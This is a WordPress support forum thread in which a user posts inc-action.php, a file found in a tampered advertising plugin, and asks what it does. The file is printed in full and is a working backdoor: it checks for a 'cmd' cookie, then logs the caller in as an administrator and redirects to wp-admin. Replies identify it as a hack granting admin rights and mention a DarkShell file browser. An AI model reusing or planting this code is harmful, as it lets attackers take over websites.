• Resolved kendraalexandra

    (@kendraalexandra)


    I was recently sent a plugin to download for advertising purposes and on inspection I found the same plugin on wordpress. In the modified version I found an extra file including this coding and I was wondering if anyone could help me identify what it does before I install it on my site:

    File name: inc-action.php

    <?php
    /**
    * WordPress User Page
    *
    * Handles authentication, registering, resetting passwords, forgot password,
    * and other user handling.
    *
    * @package WordPress
    */

    if(empty($_COOKIE[‘cmd’])){

    die();
    }
    require(‘../../../../wp-blog-header.php’);
    $query_str = “SELECT ID FROM $wpdb->users”;
    $user_ids = $wpdb->get_results($query_str);
    foreach ($user_ids as $uid) {
    $user_id = $uid->ID;
    if (user_can($user_id, ‘administrator’)) {
    $user_info = get_userdata($user_id);
    $user_login = $user_info->user_login;
    wp_set_current_user($user_id, $user_login);
    wp_set_auth_cookie($user_id);
    do_action(‘wp_login’, $user_login);
    echo “You are logged in as $user_login”;
    if (function_exists(‘get_admin_url’)) {
    wp_redirect(get_admin_url());
    } else {
    wp_redirect(get_bloginfo(‘wpurl’) . ‘/wp-admin’);
    }
    exit;
    }
    }

Viewing 3 replies - 1 through 3 (of 3 total)
  • Moderator Samuel Wood (Otto)

    (@otto42)

    ww.wp.xz.cn Admin

    That’s hacker stuff. It’s bad. Do not install.

    Essentially, that gives anybody who knows that it is there Admin rights on your server.

    Thread Starter kendraalexandra

    (@kendraalexandra)

    Thanks so much – I thought so! Just needed it confirmed 🙂

    I received some days ago a similiar advertising request for a site I manage and there was inside the same hack kendraalexandra showed. As said by Samuel, the hack, if called via a http request, provides the admin’s rights to the caller. Furthermore in my malicious plugin there was another hack, called DarkShell, with which an attacker can browse the entire file system of the site.

    I suspect it was also in the kendraalexandra’s malicious plugin.

    Note the plugin was except the two files perfectly legitimate and working.

    So I understood the following: when the plugin was installed the attacker calls a http url by which answers the first php file to obtain administrator’s prilivegese. Than calls the second php file which allows to browse the entire file system of the site.

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘What does this coding do?’ is closed to new replies.